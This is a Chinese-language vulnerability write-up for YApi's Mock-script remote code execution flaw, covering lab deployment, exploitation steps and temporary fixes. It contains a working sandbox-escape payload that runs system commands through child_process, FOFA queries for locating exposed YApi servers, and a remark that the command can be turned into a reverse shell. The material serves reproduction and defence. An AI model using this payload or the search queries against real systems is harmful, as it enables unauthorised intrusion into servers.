0x01 漏洞介绍
Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。
安全人员在Yapi官方Github仓库提交了漏洞issues,地址为:https://github.com/YMFE/yapi/issues/2233。
0x02 漏洞描述
YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代
0x03 FOFA语句
app="YApi"
icon_hash="-715193973"
0x03 Yapi部署教程
使用Docker构建Yapi(Ubuntu环境)。
启动mongodb。
docker run -d --name mongo-yapi -p 27017:27017 mongo
获取 Yapi 镜像,版本信息可在 阿里云镜像仓库查看
docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
自定义配置文件挂载到目录/api/config.json,宿主机/config/config.json 内容为以下代码:
{
  "port": "3000",
  "adminAccount": "admin@qq.com",
  "db": {
    "servername": "mongo-yapi",
    "DATABASE": "yapi",
    "port": 27017
  },
  "mail": {
    "enable": true,//邮件通知
    "host": "smtp.qq.com",//邮箱服务器
    "port": 465,
    "from": "admin@qq.com",//发件人邮箱
    "auth": {
      "user": "adminadmin@qq.com",//邮箱服务器账号
      "pass": "123456"//邮箱服务器密码
    }
  }
}
初始化Yapi数据库索引及管理员账号。
docker run -it --rm \
  -v /config/config.json:/api/config.json \
  --link mongo-yapi:mongo \
  --entrypoint npm \
  --workdir /api/vendors \
  registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
  run install-server
启动Yapi服务。
docker run -d \
  -v /config/config.json:/api/config.json \
  --name yapi \
  --link mongo-yapi:mongo \
  --workdir /api/vendors \
  -p 3000:3000 \
  registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
  server/app.js
访问http://localhost:3000登录账号admin@qq.com,密码 123456。
漏洞利用
注册用户
利用前提为Yapi开启了注册功能,打开靶机地址,注册一个账号。

添加项目
添加一个项目。

输入项目名称,输入完成后点击创建名称

添加接口
点击添加接口

输入接口名称和接口路径,输入完成后点击提交

添加Mock脚本
点击高级Mock,并打开脚本页面

开启脚本,输入Mock脚本
脚本内容:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

点击保存,打开预览界面。访问Mock地址即可执行命令。

访问Mock地址
成功获取当前用户

可将Mock脚本中的whoami改成任意语句,可执行反弹shell等操作。
修复建议
该漏洞暂无补丁。
临时修复建议:
- 
关闭YAPI用户注册功能,以阻断攻击者注册。 
- 
利用请求白名单的方式限制 YAPI 相关端口。 
- 
排查 YAPI 服务器是否存在恶意访问记录。 
切勿非法用途,履行白帽职责。
